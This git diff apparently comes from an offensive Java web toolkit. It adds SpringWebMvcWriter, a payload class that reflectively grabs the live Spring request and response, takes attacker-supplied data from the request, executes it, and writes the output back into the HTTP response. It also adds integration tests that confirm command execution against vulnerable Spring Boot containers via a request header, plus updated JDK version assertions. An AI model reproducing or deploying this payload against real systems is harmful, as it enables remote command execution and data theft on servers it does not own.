diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java index 03b480d0..1073b530 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java @@ -67,6 +67,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator getWriterClass() { switch (probeContentConfig.getServer()) { + case Server.SpringWebMvc: + return SpringWebMvcWriter.class; case Server.Jetty: return JettyWriter.class; case Server.Tomcat: diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/SpringWebMvcWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/SpringWebMvcWriter.java new file mode 100644 index 00000000..d3a593fa --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/SpringWebMvcWriter.java @@ -0,0 +1,81 @@ +package com.reajason.javaweb.probe.payload.response; + +import java.io.PrintWriter; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author ReaJason + * @since 2025/11/11 + */ +public class SpringWebMvcWriter { + + public SpringWebMvcWriter() { + try { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes", null, null); + Object request = invokeMethod(requestAttributes, "getRequest", null, null); + Object response = invokeMethod(requestAttributes, "getResponse", null, null); + String data = getDataFromReq(request); + if (data != null && !data.isEmpty()) { + PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null); + try { + writer.write(run(data)); + } catch (Throwable e) { + e.printStackTrace(writer); + } + writer.flush(); + writer.close(); + return; + } + + } catch (Throwable e) { + e.printStackTrace(); + } + } + + private String getDataFromReq(Object request) throws Exception { + return null; + } + + private String run(String data) throws Exception { + return null; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java index 2fb553d2..909eb3c9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot1ContainerTest.java @@ -39,7 +39,7 @@ public class SpringBoot1ContainerTest { void testJDK() { String url = getUrlFromSpringBoot(container); String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_342|52", data); + assertEquals("JDK|1.8.0_472|52", data); } @Test @@ -64,6 +64,13 @@ public class SpringBoot1ContainerTest { ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6); } + @Test + @SneakyThrows + void testCommandReqHeaderResponseBodySpring() { + String url = getUrlFromSpringBoot(container); + ProbeAssertion.responseCommandIsOk(url, Server.SpringWebMvc, Opcodes.V1_6); + } + @Test @SneakyThrows void testBytecodeReqParamResponseBody() { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java index 627342a1..7e32f2a7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2ContainerTest.java @@ -40,7 +40,7 @@ public class SpringBoot2ContainerTest { void testJDK() { String url = getUrlFromSpringBoot(container); String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|1.8.0_342|52", data); + assertEquals("JDK|1.8.0_472|52", data); } @Test @@ -65,6 +65,13 @@ public class SpringBoot2ContainerTest { ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6); } + @Test + @SneakyThrows + void testCommandReqHeaderResponseBodySpring() { + String url = getUrlFromSpringBoot(container); + ProbeAssertion.responseCommandIsOk(url, Server.SpringWebMvc, Opcodes.V1_6); + } + @Test @SneakyThrows void testBytecodeReqParamResponseBody() { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java index 578de680..b93661e9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2JettyContainerTest.java @@ -40,7 +40,7 @@ public class SpringBoot2JettyContainerTest { void testJDK() { String url = getUrlFromSpringBoot(container); String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_342|52", data); + assertEquals("JDK|1.8.0_472|52", data); } @Test diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java index 4bfea31a..0f28d517 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2UndertowContainerTest.java @@ -39,7 +39,7 @@ public class SpringBoot2UndertowContainerTest { void testJDK() { String url = getUrlFromSpringBoot(container); String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_342|52", data); + assertEquals("JDK|1.8.0_472|52", data); } @Test diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java index 8955e038..c32757c0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot2WarContainerTest.java @@ -64,6 +64,13 @@ public class SpringBoot2WarContainerTest { ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6); } + @Test + @SneakyThrows + void testCommandReqHeaderResponseBodySpring() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Server.SpringWebMvc, Opcodes.V1_6); + } + @Test @SneakyThrows void testBytecodeReqParamResponseBody() { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java index 4a7cb68c..4295cf77 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot3ContainerTest.java @@ -39,7 +39,7 @@ public class SpringBoot3ContainerTest { void testJDK() { String url = getUrlFromSpringBoot(container); String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|17.0.2|61", data); + assertEquals("JDK|17.0.17|61", data); } @Test @@ -64,6 +64,13 @@ public class SpringBoot3ContainerTest { ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V17); } + @Test + @SneakyThrows + void testCommandReqHeaderResponseBodySpring() { + String url = getUrlFromSpringBoot(container); + ProbeAssertion.responseCommandIsOk(url, Server.SpringWebMvc, Opcodes.V17); + } + @Test @SneakyThrows void testBytecodeReqParamResponseBody() {